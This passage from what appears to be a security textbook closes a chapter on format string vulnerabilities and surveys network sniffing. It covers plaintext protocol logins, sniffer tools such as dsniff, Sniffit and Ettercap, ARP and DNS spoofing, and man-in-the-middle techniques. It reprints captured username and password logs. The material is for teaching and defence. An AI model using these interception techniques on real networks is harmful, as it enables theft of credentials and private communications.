eyes pouring over and scrutinizing source code. It¡¦s much easier to obtain information about how vulnerabilities and weaknesses can be exploited and how systems function. In general, hackers have woken up to the different consequences that programmatic flaws can have. Printf functions, and bugs due to misuse of them, have been around for years¡Xbut it was never even conceived by anyone that they could be exploited to force execution of shellcode until recently. In addition to format string bugs, new techniques have emerged such as overwriting malloc structs; relying on free() to overwrite pointers, and signed integer index errors. Hackers are more aware of what to look for, and how subtle bugs in software can be exploited. Hackers are now peering into every program, observing behavior in response to every possible kind of input. It is now more important than ever for programmers to be conscious that many kinds of bugs thought to be harmless can have disastrous consequences if left unfixed. System administrators and users should be aware that exploitable bugs never considered critical may lie latent in software they use. Solutions Fast Track Understanding Format String Vulnerabilities Format string vulnerabilities are due to programmers allowing externally supplied data in printf() function format string variable. Format string vulnerabilities can allow for an attacker to read and write to memory. Format string vulnerabilities can lead to the execution of arbitrary code through overwriting of return addresses, GOT entries, function pointers, and so on. www.syngress.com Format Strings ¡E Chapter 9 357 Examining a Vulnerable Program Vulnerable programs typically have printf() calls with variables passed as the format string argument. Wrappers for printf() functions often lead to programmers forgetting that a function accepts format strings and variable arguments. Misuse of the syslog() function is responsible for a large number of format string vulnerabilities, many of them high-profile. Testing with a Random Format String Programs can be tested for format string vulnerabilities by observing behavior when format specifiers are supplied in various input. Supplying %s, %x, %p, and other format specifiers can be used to determine a format string vulnerability if data from memory is output in place of them.You can¡¦t always tell immediately that there is a format string vulnerability if the results are not being output. Observing a process crash due to %n or %s format specifiers supplied as input indicates that there is a format string vulnerability. Writing a Format String Exploit Format string exploits can be written that read memory or write specific values to memory. Format string vulnerabilities are not necessarily platform dependent. It is possible to exploit programs such as Screen without relying on architecture and OS-dependent shellcode. In format string vulnerabilities where the formatted string is output to the attacker, memory can be read to aid in exploitation. Exploits can reconstruct the process stack and automatically determine where to place %n specifiers. Format string vulnerabilities can use successive writes to overwrite targets in memory with arbitrary values.This technique can be used to write a custom value to almost any location in memory. On platforms where unaligned writes are not permitted (such as RISC), the %hn format specifier can be used to write short values on 2-byte boundaries. www.syngress.com 358 Chapter 9 ¡E Format Strings Q: Can nonexecutable stack configurations or stack protection schemes such as StackGuard protect against format string exploits? A: Unfortunately, no. Format string vulnerabilities allow for an attacker to write to almost any location in memory. StackGuard protects the integrity of stack frames, while nonexecutable stack configurations do not allow instructions in the stack to be executed. Format string vulnerabilities allow for both of these protections to be evaded. Hackers can replace values used to reference instructions other than function return addresses to avoid StackGuard, and can place shellcode in areas such as the heap. Although protections such as nonexecutable stack configurations and StackGuard may stop some publicly available exploits, determined and skilled hackers can usually get around them. Q: Are format string vulnerabilities UNIX specific? A: No. Format string vulnerabilities are common in UNIX systems because of the more frequent use of the printf functions. Misuse of the syslog interface also contributes to many of the UNIX specific format string vulnerabilities. The exploitability of these bugs (involving writing to memory) depends on whether the C library implementation of printf supports %n. If it does, any program linked to it with a format string bug can theoretically be exploited to execute arbitrary code. Q: How can I find format string vulnerabilities? A: Many format string vulnerabilities can easily be picked out in source code. In addition, they can often be detected automatically by examining the arguments passed to printf() functions.Any printf() family call that has only a single argument is an obvious candidate, if the data being passed is externally supplied. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the ¡§Ask the Author¡¨ form. Format Strings ¡E Chapter 9 359 Q: How can I eliminate or minimize the risk of unknown format string vulnerabilities in programs on my system? A: A good start is having a sane security policy. Rely on the least-privileges model, ensure that only the most necessary utilities are installed setuid and can be run only by members of a trusted group. Disable or block access to all services that are not completely necessary. Q: What are some signs that someone may be trying to exploit a format string vulnerability? A: This question is relevant because many format string vulnerabilities are due to bad use of the syslog() function.When a format string vulnerability due to syslog() is exploited, the formatted string is output to the log stream.An administrator monitoring the syslog logs can identify format string exploitation attempts by the presence of strange looking syslog messages. Some other more general signs are if daemons disappear or crash regularly due to access violations. Q: Where can I learn more about finding and exploiting format string vulnerabilities? A: There are a number of excellent papers on the subject.Tim Newsham authored a whitepaper published by Guardent which can be found at www.securityfocus.com/archive/1/81565. Papers written by TESO (www.team-teso.net/articles/formatstring) and HERT (www.hert.org/papers/format.html) are also recommended. |
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![]() Chapter 10 • Sniffing
Introduction sniff (snif) v. sniffed, sniff·ing, sniffs. v. intr. 1. a. To inhale a short, audible breath through the nose, as in smelling something. b. To sniffle. 2. To use the sense of smell, as in savoring or investigating: sniffed at the jar to see what it held. 3. To regard something in a contemptuous or dismissive manner: The critics sniffed at the adaptation of the novel to film. 4. Informal.To pry; snoop: The reporters came sniffing around for more details. As these definitions describe, the word sniffing has a number of meanings. Although we believe that hackers generate irritating sniffling noises, sniff at jars to determine their contents, and especially sniff in contempt, we really are interested in the last meaning: the process of prying or snooping. What Is Sniffing? Sniffing is method by which an attacker can compromise the security of a network in a passive fashion. A sniffer, in network security circles, is a program or tool that passively monitors a computer network for key information that the attacker is interested in. In most cases, this information is authentication information, such as usernames and passwords, which can be used to gain access to a system or resource. Sniffers are included with most rootkits. If your UNIX machine has been broken into, it is likely running a sniffer right now. How Does It Work? There are two techniques for sniffing: old-school and new-school. In the old days, computers were connected via a shared medium.They all shared the same local wire, and network traffic was seen by all computers. Network cards filtered traffic in the hardware so that the attached computer would see only its own traffic, and not anybody else’s.This wasn’t a security feature; it was designed to avoid overloading the machine. Sniffing software disables this filter, putting the www.syngress.com www.syngress.com card into what is known as “promiscuous mode.”The software is specially tuned to deal with the flood of traffic, and then either analyze it or capture it. These days, more and more computers are connected by switches. Rather than distributing network traffic to all ends of the network, switches filter traffic at the hub.This prevents the computer from seeing anybody else’s traffic, even when it puts the adapter into promiscuous mode. Attackers must either actively attack the switch/router fabric in order to redirect traffic flows (which we’ll describe later), or content themselves to monitoring only the traffic flowing through the box they’ve compromised. When network traffic enters the machine, it is first handled by the Ethernet driver.The driver then passes the traffic to the Transmission Control Protocol/Internet Protocol (TCP/IP) stack, which will in turn pass it to applications. Sniffing software connects directly to the Ethernet driver, making a copy of it. UNIX provides a more open set of interfaces for doing this, whereas Windows systems have provided few tools for this.Thus, sniffers are usually part of UNIX rootkits, and seldom part of Windows rootkits. What to Sniff? When monitoring a network, there are many interesting pieces of data to look for. In the most obvious case, authentication information (usernames and passwords) can be captured, and then used to gain access to a resource.Other types of information can also be monitored, such as e-mail and instant messages.Anything passing over the network is open to peering eyes. Obtaining Authentication Information The following subsections provide examples of the various types of network traffic that is attractive to an attacker who is monitoring your network.The following sections are organized by the protocol or service that the traffic corresponds to, and by no means represent a comprehensive listing. In the example traffic in the next section, bold text indicates that it was sent by a client program, and standard text indicates it was sent by the server. In almost all cases, we are interested only in client-generated traffic, since this traffic will contain the authentication information. More advanced sniffers may also examine server result codes to filter out failed authentication attempts. The following sections provide a brief overview of the types of authentication information that can be gleaned from the respective protocols.These examples have been simplified, and in some cases, the current versions of these Sniffing • Chapter 10 363 364 Chapter 10 • Sniffing protocols support more advanced authentication mechanisms that alleviate the risks shown. In the case of common Internet protocols, a Request for Comments (RFC) that can elaborate on its specifications is available. Monitoring Telnet (Port 23) Telnet historically has been the service that an attacker will monitor when attempting to obtain login information.Telnet provides no session-level security, sending username and password information in plaintext across a network as shown here: [~] % telnet localhost Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Red Hat Linux release 6.1 (Cartman) Kernel 2.2.12-20 on an i686 login: oliver Password: welcome [18:10:03][redhat61] [~] % Monitoring FTP (Port 21) The File Transfer Protocol (FTP) service, used for file transmissions across the network, also sends its authentication information in plaintext. Unlike Telnet, FTP can also be used to allow anonymous access to files, whereby a user uses the username “anonymous” or “ftp” and issues an arbitrary password. FTP protocol information is normally hidden by a friendly client interface; however, the underlying authentication traffic appears as follows on a network: [~] % telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 localhost FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready. www.syngress.com Sniffing • Chapter 10 365 USER oliver 331 Password required for oliver. PASS welcome 230 User oliver logged in. Monitoring POP (Port 110) The Post Office Protocol (POP) service is a network server by which clientbased e-mail programs are connected to access a user’s e-mail on a central server. POP servers appear commonly on an Internet service provider’s (ISP’s) network, to provide e-mail delivery to customers. POP traffic is often not encrypted, sending authentication information in plaintext. Username and password information is specified to the remote server via the USER and PASS commands.An example of the protocol is as follows: [~] % telnet localhost 110 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. +OK POP3 localhost v7.59 server ready USER oliver +OK User name accepted, password please PASS welcome +OK Mailbox open, 24 messages Note that extensions to the POP protocol exist, which prevent authentication information from being passed on the network in the clear, in addition to session encryption. Monitoring IMAP (Port 143) The Internet Message Access Protocol (IMAP) service is an alternative protocol to the POP service, and provides the same functionality. Like the POP protocol, authentication information is in many cases sent in plaintext across the network. IMAP authentication is performed by sending a string consisting of a user-selected token, the LOGIN command, and the username and password as shown here: [~] % telnet localhost imap Trying 127.0.0.1... www.syngress.com 366 Chapter 10 • Sniffing Connected to localhost. Escape character is '^]'. * OK localhost IMAP4rev1 v12.250 server ready A001 LOGIN oliver welcome A001 OK LOGIN completed Note that extensions to the IMAP protocol exist, which prevent authentication information from being passed on the network in the clear, in addition to session encryption. Monitoring NNTP (Port 119) The Network News Transport Protocol (NNTP) supports the reading and writing of Usenet newsgroup messages. NNTP authentication can occur in many ways. In legacy systems, authentication was based primarily on a client’s network address, restricting news server access to only those hosts (or networks) that were within a specified address range. Extensions to NNTP were created to support various authentication techniques, including plaintext and encrypted challenge response mechanisms.The plaintext authentication mechanism is straightforward and can easily be captured on a network. It appears as follows: [~] % telnet localhost 119 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 200 Welcome to My News Server (Typhoon v1.2.3) AUTHINFO USER oliver 381 More Authentication Required AUTHINFO PASS welcome 281 Authentication Accepted Monitoring rexec (Port 512) The rexec service, called rexecd on almost all UNIX-based operating systems, is a legacy service used for executing commands remotely.The service performs authentication via plaintext username and password information passed to the server by a client.The service receives a buffer from the client consisting of the following data: www.syngress.com Sniffing • Chapter 10 367 An ASCII port number, specifying a port for the server to connect to, to send standard error information.This is a port on the client host that will be awaiting this connection. 0 is specified if this is not desired.This string is NULL terminated. A NULL terminated username, 16 characters long or less. A NULL terminated password, 16 characters long or less. A NULL terminated command to be executed on the remote host. An example authentication request may appear as follows: 0\0oliver\0welcome\0touch /tmp/hello\0 If authentication was successful, a NULL byte is returned by the server; otherwise, a value of 1 is returned in addition to an error string. Monitoring rlogin (Port 513) The rlogin protocol provides much the same functionality as the Telnet protocol, combined with the authentication mechanism of the rexec protocol, with some exceptions. It supports trust relationships, which are specified via a file called rhosts in the user’s home directory.This file contains a listing of users and the hosts on which they reside, who are allowed to log in to the specified account without a password. Authentication is performed instead by trusting that the user is who the remote rlogin client says he or she is.This authentication mechanism works only among UNIX systems, and is extremely flawed in many ways; therefore, it is not widely used on networks today. If a trust relationship does not exist, username and password information is still transmitted in plaintext over this protocol in a similar fashion to rexec: An ASCII port number, specifying a port for the server to connect to, to send standard error information.This is a port on the client host that will be awaiting this connection. 0 is specified if this is not desired.This string is NULL terminated. A NULL terminated client username, 16 characters long or less. A NULL terminated server username, 16 characters long or less. A NULL terminated string consisting of the terminal type and speed. The server then returns a 0 byte to indicate it has received these. If authentication via the automatic trust mechanism fails, the connection is then passed to www.syngress.com 368 Chapter 10 • Sniffing the login program, at which point a login proceeds as it would have if the user had connected via the Telnet service. Monitoring X11 (Port 6000+) The X11 Window system uses a “magic cookie” to perform authorization against clients attempting to connect to a server. A randomly generated 128-bit cookie is sent by X11 clients when connecting to the X Window server. By sniffing this cookie, an attacker can use it to connect to the same X Window server. Normally, this cookie is stored in a file named .Xauthority within a user’s home directory. This cookie is passed to the X Window server by the xdm program at logon. Monitoring NFS File Handles The Network File System (NFS), originally created by Sun Microsystems, relies on what is known as an NFS file handle to grant access to a particular file or directory offered by a file server. By monitoring the network for NFS file handles, it is possible to obtain this handle, and use it yourself to obtain access to the resource. Unfortunately, the NFS protocol uses Open Network Computing- Remote Procedure Call (ONC-RPC) to perform its operations, which introduces more complexity than a plaintext authentication mechanism.This does not provide more security; however, it makes it difficult to provide example network traffic in this book. The process by which a legitimate NFS client accesses a file system on a server is as follows: The user issues a mount request, attempting to mount a remote file system. The local operating system contacts an RPC service on the remote host called rpc.mountd, passing it the name of the file system it wishes to access. The mountd program performs an access validation check to determine whether the request came from a privileged port on the client host, and whether the client host has been given permission to access the target host. The mountd program sends a reply back to the client, including an NFS file handle that provides access to the root of the file system the user wishes to access. www.syngress.com Sniffing • Chapter 10 369 The client program now contacts the NFS daemon (nfsd) on the target host, passes in the file handle, and obtains access to the resource. Capturing Windows NT Authentication Information Windows operating systems support a number of different authentication types, each of which progressively increase its security.The use of weak Windows NT authentication mechanisms, as explained next, creates one of the weakest links in Windows NT security.The authentication types supported are explained here: Plaintext Passwords are transmitted in the clear over the network. Lan Manager (LM) Uses a weak challenge response mechanism where the server sends a challenge to the client, which it uses to encrypt the user’s password hash and then send it back to the server.The server does the same, and compares the result to authenticate the user.The mechanism with which this hash is transformed before transmission is very weak, and the original hash can be sniffed from the network and cracked quite easily. In Windows NT 4, even though a stronger authentication mechanism is available (NTLM), the LM hash was still sent over the network along with the NTLM hash, which lowers the security to the security of the LM mechanism. NT Lan Manager (NTLM) and NT Lan Manager v2 (NTLMv2) NTLM and NTLMv2 provide a much stronger challenge/response mechanism, which has made it much more difficult to crack captured authentication requests. NTLMv2 was introduced with the release of Service Pack 4 for Windows NT 4.0. NTLMv2 should be used if possible; however, care must be taken to ensure that your clients can support the protocol.You may need to install additional software on the clients to allow them to use NTLMv2. The development of these mechanisms occurred in a series of iterative steps, as weaknesses were found in each prior implementation (fortunately, the weaknesses became less significant with each improvement). There are specialized sniffers that support only the capture of Windows NT authentication information. A good example is one included with the L0phtcrack program (which is exclusively a Windows NT password cracker).The documentation that comes with L0phtcrack explains in great detail how Windows NT password hashes are created. L0phtcrack can be obtained at http://stake.com/ research/lc3. www.syngress.com 370 Chapter 10 • Sniffing Capturing Other Network Traffic Although the ports we just examined are the most commonly sniffed due to cleartext authentication information being passed, they are not the only ones that an attacker may find of interest. A sniffer may be used to capture interesting traffic on other ports, as shown in this section. Monitoring SMTP (Port 25) Simple Mail Transfer Protocol (SMTP) is used to transfer e-mail on the Internet and internally in many organizations. E-mail has been and always will be an attractive target for an attacker. An attacker’s goal may be to watch the network administrator to determine whether he has been discovered, or it may be a much more sinister activity. It is not hard to believe that in today’s competitive business environment, the goal can be to monitor the network for internal company information, such as merger and acquisition data, and partnership information. All of this usually can be gleaned by reading e-mail that has been sent over the network. The dsniff sniffer, explained in more detail later, includes a program designed to capture e-mail messages from the network: mailsnarf outputs e-mail messages sniffed from SMTP and POP traffic in Berkeley mbox format, suitable for offline browsing with your favorite mail reader (mail(1), pine(1), etc.). —dsniff FAQ Monitoring HTTP (Port 80) Hypertext Transfer Protocol (HTTP) is used to pass Web traffic.This traffic, usually destined for port 80, is commonly monitored more for statistics and network usage than for its content. Although HTTP traffic can contain authentication information and credit card transactions, this type of information more commonly is encrypted via Secure Sockets Layer (SSL). Commercial products are available to monitor this usage for organizations that find it acceptable to track their users’Web usage. The dsniff sniffer also includes a program designed specifically to capture URL requests from the network: urlsnarf outputs all requested URLs sniffed from HTTP traffic in CLF (Common Log Format, used by almost all Web servers), suitable for offline post-processing with your favorite Web log analysis tool (analog, wwwstat, etc.). —dsniff FAQ www.syngress.com Sniffing • Chapter 10 371 Popular Sniffing Software There have been many sniffer programs written throughout the history of network monitoring.We examine a few key programs here. Note that it is not our intention to provide a comprehensive list of sniffers, only some example implementations. We examine both commercial implementations, used for network diagnostics, and implementations written purely for capturing authentication information. More implementations can be found at your nearest security site, such as www.securityfocus.com. Ethereal Ethereal is one of the newest protocol analyzers, having appeared on the scene around 1998. However, due to its open source nature, Ethereal has become one of the most popular protocol analyzers. Because of the community of developers, it decodes more protocols than many commercial offerings. For UNIX-based systems, it is by far the best protocol analyzer. However, although it runs on Windows, it doesn’t have quite the same polish that Windows users expect.The user interface is based upon Gtk, so it has a very UNIX-like feel to it. Figure 10.1 shows the Ethereal capture window. One of the useful features of Ethereal is live decodes. Most protocol analyzers cannot display the captured data until after capture has been halted. Such live decodes are thought to be a bad feature because network traffic can flow by at 10,000 packets per second, far faster than humans can keep up. However, most users of a sniffer will create capture filters that discard most of the traffic anyway. www.syngress.com Figure 10.1 Ethereal Capture Preferences 372 Chapter 10 • Sniffing Once captured, the packets are stored in a buffer and shown in a typical three-pane display (see Figure 10.2).This was the display format chosen by the original Sniffer Protocol Analyzer, and has been adopted by all other products. The top window shows a line-by-line summary of each packet.The second window shows the detailed decode of the current packet highlighted in the summary window.The third window shows a hex dump of the same packet. Clicking on a field in the detail window causes the equivalent characters to be highlighted in the hex window. Network Associates Sniffer Pro Sniffer Pro is a commercial product (the name “Sniffer” itself is a trademark of Network Associates, Inc.).The product may very well be where the hackerderived name originated, as it existed long before targeted password capturing programs were available.The Sniffer Pro product from Network Associates provides an easy-to-use interface for capturing and viewing network traffic. One www.syngress.com Figure 10.2 Ethereal Protocol Decodes Sniffing • Chapter 10 373 major benefit of commercial products is that they support a vast range of network protocols, and display the decoded protocol data in a very easy-to-read manner. Sniffer Pro runs in two primary modes: first, it captures network traffic, and second, it decodes and displays it. Figure 10.3 shows Sniffer Pro running in capture mode; network statistics and data are displayed in the dials shown. Once captured, data is decoded and displayed in an easy-to-read fashion. In Figure 10.4, we can see that Sniffer Pro has decoded the HTTP request for us. Inside, we can see some relevant variables being passed, alias and pw. For this Web application, those are the username and password. www.syngress.com Figure 10.3 Sniffer Pro in Capture Mode 374 Chapter 10 • Sniffing NT Network Monitor Windows NT server ships with network monitoring software called Network Monitor, or Netmon for short.This version of Netmon captures only traffic entering or leaving the server on which it is installed.There are versions of Netmon for Windows 2000 and Windows XP with the same restriction. However, there is a version of Netmon that captures all traffic.That version is available with Systems Management Server (SMS). Netmon provides some advantages over other commercial network analyzers, in that it has the ability to decode some proprietary Microsoft network traffic, which has no open specifications. Good examples of this type of traffic are the many different MS-RPC services that communicate using named pipes over Windows NT networking. Although Netmon does not decode all of these MS-RPC services, it does decode a significant portion, which would not otherwise be understood. www.syngress.com Figure 10.4 Sniffer Pro Displaying Captured Data Sniffing • Chapter 10 375 Network Monitor’s operation is very similar to Sniffer Pro’s, as it provides both a capture (see Figure 10.5) and view (see Figure 10.6) mechanism that provide the same functionality. WildPackets One of the oldest protocol analyzers is EtherPeek by WildPackets (formerly provided by the A.G. Group). It is available for the Macintosh as well as Windows (it was originally written more than 10 years ago for the Macintosh). EtherPeek has interesting real-time displays and decodes and other interesting features (download from www.wildpackets.com for a demo version).Today, it is primarily notable for its AiroPeek version that sniffs IEEE 802.11b wireless networks. www.syngress.com Figure 10.5 Network Monitor in Capture Mode 376 Chapter 10 • Sniffing TCPDump TCPDump is by far the most popular network diagnostic and analysis tool for UNIX-based operating systems.TCPDump monitors and decodes all IP,TCP, User Datagram Protocol (UDP), and Internet Control Message Protocol (ICMP) header data, in addition to some application layer data (mostly network infrastructure protocols).TCPDump was not written as an attacker’s tool, and is not designed to assist an attacker who wishes to monitor the network.That being said, it does provide a good starting point for anyone intending to write a sniffer, and since its source code is free, it provides interesting reading. www.syngress.com Figure 10.6 Network Monitor in View Mode Sniffing • Chapter 10 377 TCPDump can be obtained from www.tcpdump.org. Many modifications have been made to TCPDump in recent years to add support for a wide range of additional protocols. dsniff dsniff is a sniffing toolkit provided by Dug Song. dsniff is available on his Web site at www.monkey.org/~dugsong/dsniff, or at a number of mirrors sites. dsniff is most famous for its authentication (usernames, passwords) sniffing capabilities. The current version of dsniff will decode authentication information for the following protocols:AOL Instant Messenger, Citrix Winframe, Concurrent Versions System (CVS), FTP, HTTP, ICQ, IMAP, Internet Relay Chat (IRC), Lightweight Directory Access Protocol (LDAP), RPC mount requests, Napster, NNTP, Oracle SQL*Net, Open Shortest Path First (OSPF), PC Anywhere, POP, PostgreSQL, Routing Information Protocol (RIP), Remote Login (rlogin),Windows NT plaintext (SMB), Network Associates Sniffer Pro (remote), Simple Network Management Protocol (SNMP), Socks,Telnet, X11, and RPC yppasswd. www.syngress.com dsniff Used against the Author The following sample output from dsniff was captured by Dug Song, who successfully captured my password at the CanSecWest 2001 security conference. It happened because Outlook automatically checks POP3 servers, even when you just open it to grab someone’s contact information. I quickly changed the password, just in time—the remainder of dsniff output captures somebody else attempting to log on with that password, presumably another person using dsniff who had captured the password. ----------------- 03/28/01 18:43:24 tcp 192.168.1.201.1035 -> 216.136.173.10.110 (pop) USER robert_david_graham PASS Cerveza2 Notes from the Underground… Continued 378 Chapter 10 • Sniffing www.syngress.com ----------------- 03/29/01 02:07:41 tcp 192.168.1.243.1837 -> 216.136.173.10.110 (pop) USER robert_david_graham PASS Cerveza2 ----------------- 03/29/01 02:07:08 tcp 192.168.1.243.1836 -> 64.58.76.98.80 (http) POST /config/login?84gteu3f1fmvt HTTP/1.0 Host: login.yahoo.com Content-type: application/x-www-form-urlencoded Content-length: 147 .tries=1&.src=ym&.last=&promo=&.intl=us&.bypass=&.partner=&.u=86 3imictc5nnu&.v=0&hasMsgr=0&.chkP=Y&.done=&login=robert _david_graham&passwd=Cerveza2 ----------------- 03/29/01 02:06:48 tcp 192.168.1.243.1835 -> 64.58.76.98.80 (http) POST /config/login?15aeb5g14endr HTTP/1.0 Host: login.yahoo.com Content-type: application/x-www-form-urlencoded Content-length: 146 .tries=&.src=ym&.last=&promo=&.intl=us&.bypass=&.partner=&.u=863 imictc5nnu&.v=0&hasMsgr=0&.chkP=Y&.done=&login=robert _david_graham&passwd=Cerveza2 ----------------- 03/31/01 17:07:38 tcp 192.168.1.243.1307 -> 216.136.173.10.110 (pop) USER robert_david_graham PASS Cerveza2 Sniffing • Chapter 10 379 With today’s switched networks and encrypted protocols, password sniffing doesn’t always work as well as we might hope. dsniff contains several redirect and man-in-the-middle (MITM) utilities to redirect the flow of traffic and decrypt sessions. The first utility is arpspoof (formerly known as arpredirect). Address Resolution Protocol (ARP) is used by hosts to find the local router’s Media Access Control (MAC) address. By spoofing ARP packets, you can convince other nearby computers that you are the router.Your machine has to forward them onto the legitimate router after receiving them, but in the meantime, the dsniff password sniffer has a chance to process the packets.This runs well not only on local switched networks, but also cable-modem networks.This tool isn’t completely foolproof; you are essentially fighting with the router, trying to convince other machines of the local MAC address. As a result, traffic flows through your machine are sometimes intermittent.This technique is easily detected by network-based intrusion detection systems (IDSs). Even the Sniffer Pro (mentioned earlier) has an expert diagnostic mode that will flag these as “duplicate IP addresses” (i.e., multiple machines claiming to have the IP address of the router). The dnsspoof utility is another way of redirecting traffic. In this case, it spoofs responses from the local Domain Name System (DNS) server.When you go a Web site such as http://www.example.com, your machine sends out a request to your local DNS server asking for the IP address of www.example.com.This usually takes a while to resolve; dnsspoof quickly sends its own response faster.The victim will take the first response and ignore the second one.The spoofed response will contain a different IP address than the legitimate response, usually the IP address of the attacker’s machine.The attacker will likely be using one of the other dsniff man-in-the-middle utilities. The name man-in-the-middle comes from cryptography and describes the situation when somebody intercepts communications, alters it, and then forwards it. The dsniff utilities for these attacks are webmitm for HTTP traffic (including SSL) and sshmitm (for SSH). Normally, SSH and SSL are thought to be secure, encrypted protocols that cannot be sniffed.The way the MITM utilities work is that they present their own encryption keys to the SSL/SSH clients.This allows them to decrypt the traffic, sniff passwords, and then reencrypt with the original server keys. In theory, you can protect yourself against this by checking the validity of the server certificate, but in practice, nobody does this. dsniff can sniff not only passwords, but also other cleartext traffic.The mailsnarf utility sniffs e-mails like the FBI’s Carnivore, except it reassembles them into an mbox format that can be read by most mail readers.The msgsnarf utility sniffs www.syngress.com 380 Chapter 10 • Sniffing messages from ICQ, IRC,Yahoo! Messenger, and AOL IM.The filesnarf utility sniffs files transferred via NFS (a popular fileserver protocol used on UNIX systems). The urlsnarf utility saves all the URLs it sees going across the wire.The webspy utility sends those URLs to a Netscape Web browser in real time—essentially allowing you to watch in real time what the victim sees on their Web browser. The macof utility sends out a flood of MAC addresses.This is intended as another way of attacking Ethernet switches. Most switches have limited tables that can hold only 4000 MAC addresses.This is more than enough for normal networks—you would need 4000 machines attached to the switch before overloading these tables.When the switch overloads, it “fails open” and starts repeating every packet out every port, allowing everyone’s traffic to be sniffed. The tcpkill utility kills TCP connections. It can be used as a denial of service (DoS) attack. For example, you can configure it to kill every TCP connection your neighbor makes. It can also be integrated with tools like network-based IDSs to kill connections from hackers.The tcpnice utility is similar to tcpkill, but rather than killing connections, it slows them down. For example, you could spoof ICMP Source Quenches from your neighbor’s cable modems so that you can get a higher percentage of the bandwidth for your downloads. Ettercap Ettercap is a package similar to dsniff. It has many of the same capabilities, such as man-in-the-middle attacks against SSL and SSH and password sniffing. It also has additional features for man-in-the-middle attacks against normal TCP connections, such as inserting commands into the stream. Ettercap is written by Alberto Ornaghi and Marco Valleri and is available on the Web at http://ettercap.sourceforge. net. Esniff.c Esniff.c is probably one of the first sniffers that surfaced within the hacker underground. Written by a hacker named rokstar, it functioned only on Sun Microsystems’ SunOS (now outdated) operating systems. Esniff.c supports the Telnet, FTP, and rlogin protocols. It provides basic functionality and does not support a comprehensive list of protocols as those found in newer sniffers such as dsniff and sniffit.This sniffer was first publicly published in Phrack magazine, which can be obtained from www.phrack.org/show.php?p=45&a=5. www.syngress.com Sniffing • Chapter 10 381 Sniffit Sniffit is another sniffer that has been around for several years. It is available for several operating systems, including Linux, Solaris, SunOS, Irix, and FreeBSD. Sniffit has not been updated in a few years, but I have found it to be quite stable (even though the last release was classified as a beta). Brecht Claerhout, the author of Sniffit, has two versions available on his Web site: 0.3.5 (released in April 1997) and 0.3.7.beta (released in July 1998). I have had no problems compiling and using 0.3.7.beta, but if you encounter problems with 0.3.7.beta, then you can still fall back and use 0.3.5. Brecht’s Web site is located at http://reptile.rug.ac.be/~coder/sniffit/sniffit.html. One of the reasons I like (and use) Sniffit so much is that you can easily con- figure it to log only certain traffic, such as FTP and Telnet.This type of filtering is not unusual; it is available in other sniffers such as Sniffer Pro and NetMon. But when was the last time you saw either one of those sniffers covertly placed on a compromised system? Sniffit is small and easily configured to capture (and log) only traffic that you know carries useful information in the clear, such as usernames and passwords for certain protocols, as shown in the following example: [Tue Mar 28 09:46:01 2000] - Sniffit session started. [Tue Mar 28 10:27:02 2000] - 10.40.1.6.1332-10.44.50.40.21: USER [hansen] [Tue Mar 28 10:27:02 2000] - 10.40.1.6.1332-10.44.50.40.21: PASS [worksux] [Tue Mar 28 10:39:42 2000] - 10.40.1.99.1651-10.216.82.5.23: login [trebor] [Tue Mar 28 10:39:47 2000] - 10.40.1.99.1651-10.216.82.5.23: password [goaway] [Tue Mar 28 11:08:10 2000] - 10.40.2.133.1123-10.60.56.5.23: login [jaaf] [Tue Mar 28 11:08:17 2000] - 10.40.2.133.1123-10.60.56.5.23: password [5g5g5g5] [Tue Mar 28 12:45:21 2000] - 10.8.16.2.2419-10.157.14.198.21: USER [afms] [Tue Mar 28 12:45:21 2000] - 10.8.16.2.2419-10.157.14.198.21: PASS [smfasmfa] www.syngress.com 382 Chapter 10 • Sniffing [Tue Mar 28 14:38:53 2000] - 10.40.1.183.1132-10.22.16.51.23: login [hohman] [Tue Mar 28 14:38:58 2000] - 10.40.1.183.1132-10.22.16.51.23: password [98rabt] [Tue Mar 28 16:47:14 2000] - 10.40.2.133.1069-10.60.56.5.23: login [whitt] [Tue Mar 28 16:47:16 2000] - 10.40.2.133.1067-10.60.56.5.23: password [9gillion] [Tue Mar 28 17:13:56 2000] - 10.40.1.237.1177-10.60.56.5.23: login [douglas] [Tue Mar 28 17:13:59 2000] - 10.40.1.237.1177-10.60.56.5.23: password [11satrn5] [Tue Mar 28 17:49:43 2000] - 10.40.1.216.1947-10.22.16.52.23: login [demrly] [Tue Mar 28 17:49:46 2000] - 10.40.1.216.1947-10.22.16.52.23: password [9sefi9] [Tue Mar 28 17:53:08 2000] - 10.40.1.216.1948-10.22.16.52.23: login [demrly] [Tue Mar 28 17:53:11 2000] - 10.40.1.216.1948-10.22.16.52.23: password [jesa78] [Tue Mar 28 19:32:30 2000] - 10.40.1.6.1039-10.178.110.226.21: USER [custr2] [Tue Mar 28 19:32:30 2000] - 10.40.1.6.1039-10.178.110.226.21: PASS [Alpo2p35] [Tue Mar 28 20:04:03 2000] - Sniffit session ended. As you can see, in a just a matter of approximately 10 hours, I have collected usernames and passwords for nine different users for three FTP sites and five Telnet locations. One user, demrly, seems to have used the incorrect password when he or she tried to login to 10.22.16.52 the first time, but I will keep this password handy because it may be a valid password at some other location. Carnivore Carnivore is an Internet wiretap designed by the U.S. Federal Bureau of Investigation (FBI). It is designed with the special needs of law enforcement in mind. For example, some court orders might allow a pen-register monitoring of www.syngress.com Sniffing • Chapter 10 383 just the From/To e-mail addresses, whereas other court orders might allow a full capture of the e-mail.A summary of Carnivore’s features can be seen within the configuration program, shown in Figure 10.7. The features are: Filter sets The settings are saved in configuration files; the user quickly can change the monitoring by selecting a different filter set. Network adapters A system may have multiple network adapters; only one can be selected for sniffing at a time. Archive file size A limit can be set on how much data is captured; by default, it fills up the disk. Total memory usage Network traffic may come in bursts faster than it can be written to disk; memory is set aside to buffer the incoming data. Fixed IP address All traffic to/from a range of IP addresses can be filtered. For example, the suspect may have a fixed IP address of 1.2.3.4 assigned to their cable modem.The FBI might get a court order allowing them to sniff all of the suspect’s traffic. www.syngress.com Figure 10.7 Carnivore Configuration Program 384 Chapter 10 • Sniffing Protocols to capture Typically, a court order will allow only specific traffic to be monitored, such as SMTP over TCP. In Pen mode, only the headers are captured. Data text strings This is the Echelon feature that looks for keywords in traffic. 